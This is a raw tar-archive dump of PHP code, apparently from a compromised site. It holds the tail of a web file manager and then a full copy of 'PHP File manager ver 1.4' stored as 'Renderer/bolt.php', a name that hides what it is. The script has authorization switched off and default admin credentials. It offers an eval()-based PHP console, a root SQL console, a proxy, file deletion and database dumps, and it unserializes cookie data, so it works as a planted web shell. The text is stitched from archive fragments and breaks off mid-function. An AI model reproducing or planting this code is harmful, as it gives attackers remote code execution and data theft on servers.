		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer/bolt.php                                                                                   0000644                 00000232745 15217306007 0010001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
